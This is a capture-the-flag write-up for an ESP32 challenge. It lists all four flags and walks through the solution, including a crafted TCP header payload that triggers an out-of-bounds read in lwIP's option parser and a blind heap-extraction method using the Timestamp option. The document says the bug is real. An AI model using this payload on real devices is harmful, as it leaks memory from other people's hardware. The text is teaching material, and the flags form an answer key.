| .. | ||
| README.md | ||
Phantom Byte
| Field | Value |
|---|---|
| Category | ESP |
| Difficulty | Multi-part (Easy to Hard) |
| Points | 100 / 200 / 300 / 500 (4 flags) |
| Author | Eun0us |
| CTF | Espilon 2026 |
Description
An ESP32 device was seized during a raid on an underground hackerspace. It is a relay node for a mesh network called "The Wire".
The node's WiFi AP is still broadcasting. A debug probe is exposed on its TCP input path.
Peel back the layers. Extract every secret this node is hiding.
WiFi: Phantom_Node / thewire2026
Service: tcp://192.168.4.1:1337
"Close this world. Open the nEXt."
TL;DR
Four-layer progressive challenge based on a real lwIP vulnerability in
tcp_get_next_optbyte(). Layer 1: read base64 from UART boot log. Layer 2: find
a hidden command. Layer 3: heap-leak via crafted TCP option header (trace mode). Layer 4:
blind extraction using the TCP Timestamp option as an oracle.
Tools
| Tool | Purpose |
|---|---|
esptool.py |
Flash firmware to ESP32 |
screen / minicom |
Read UART boot log |
nc |
Connect to TCP service on port 1337 |
| Python 3 | Automated exploit / solve script |
Flags Summary
| Flag | Name | Points | Value |
|---|---|---|---|
| 1/4 | Signal | 100 | ESPILON{u4rt_s33s_4ll} |
| 2/4 | Backdoor | 200 | ESPILON{h1dd3n_c0nf1g} |
| 3/4 | Memory Bleed | 300 | ESPILON{ph4nt0m_byt3_h34p_l34k} |
| 4/4 | Blind Oracle | 500 | ESPILON{bl1nd_str4ddl3} |
Solution
Setup
Flash firmware, connect to WiFi AP Phantom_Node / thewire2024, then:
nc 192.168.4.1 1337
Flag 1 — Signal
Monitor the UART output during boot. Among the diagnostic lines:
[ 0.089] DIAG:b64:RVNQSU9Me3U0cnRfczMzc180bGx9
Decode the base64:
echo "RVNQSU9Me3U0cnRfczMzc180bGx9" | base64 -d
# ESPILON{u4rt_s33s_4ll}
📸
[screenshot: UART terminal showing the base64 diagnostic line on boot]
Submit over TCP:
ph> unlock ESPILON{u4rt_s33s_4ll}
>> sequence accepted.
>> layer 2 unlocked. you're getting closer to the wire.
Flag 2 — Backdoor (200 pts)
In layer 2, help lists the documented commands. The mem output hints:
ph> mem
>> secrets cached in the wire
And info shows:
>> backdoor: [CLASSIFIED]
The hidden command is wire:
ph> wire
>> accessing the wire...
>> config_cache dump:
>> ESPILON{h1dd3n_c0nf1g}
📸
[screenshot: wire command revealing the hidden config cache contents]
Submit:
ph> unlock ESPILON{h1dd3n_c0nf1g}
>> layer 3 unlocked. careful. the deeper you go, the less you come back.
Flag 3 — Memory Bleed (300 pts)
In layer 3, enable debug tracing:
ph> trace on
>> trace enabled.
The vulnerability: tcp_get_next_optbyte() uses doff * 4 as the claimed option
length without checking that it stays within the actual received segment bytes. Build
a 20-byte TCP header with Data Offset = 15 (claims 40 option bytes, 20 more than present):
Bytes 12-13: F002 (doff=15, flags=SYN)
Full: 053900500000000100000000f002ffff00000000
ph> inject 053900500000000100000000f002ffff00000000
The trace output shows each out-of-bounds byte read from the adjacent config_cache:
[TRACE] tcp_get_next_optbyte:
[ 20] 0x45 << oob
[ 21] 0x53 << oob
[ 22] 0x50 << oob
[ 23] 0x49 << oob
...
Convert the oob bytes to ASCII: ESPILON{ph4nt0m_byt3_h34p_l34k}
📸
[screenshot: trace output showing oob bytes reading the flag from heap]
Flag 4 — Blind Oracle (500 pts)
Disable trace output — no more per-byte visibility:
ph> trace off
The vulnerability still exists, but now the only feedback is the parsed option values emitted as structured output. Use the TCP Timestamp option (kind=8, len=10) to straddle the segment boundary. The 8 data bytes (TSval + TSecr) are read from OOB heap memory, but their values are returned as decimal numbers in the response.
Extraction technique:
Place the Timestamp kind+len bytes as the last 2 in-bounds bytes. The 8 value bytes are read from the adjacent flag buffer.
-
Chunk 1 (bytes 0–7):
>> opt: TS=1163150159/12802673871163150159 = 0x45535049→ESPI1280267387 = 0x4C4F4E7B→LON{
-
Chunk 2 (bytes 8–15): decode TSval/TSecr →
bl1n/d_st -
Chunk 3 (bytes 16–22): decode TSval/TSecr →
r4dd/l3}\x00
Reconstruct: ESPILON{bl1nd_str4ddl3}
📸
[screenshot: inject command returning TS values that decode to flag bytes]
Automated solver:
python3 solve.py 192.168.4.1 1337
Real-world Context
This challenge is based on a real vulnerability found in lwIP 2.1.3 (ESP-IDF v5.3).
The function tcp_get_next_optbyte() in tcp_in.c does not validate that the option
index stays within the pbuf's actual payload length. A remote attacker can send a crafted
TCP packet to any ESP32 with an open TCP port and leak adjacent heap memory.
Flag
- Flag 1:
ESPILON{u4rt_s33s_4ll} - Flag 2:
ESPILON{h1dd3n_c0nf1g} - Flag 3:
ESPILON{ph4nt0m_byt3_h34p_l34k} - Flag 4:
ESPILON{bl1nd_str4ddl3}
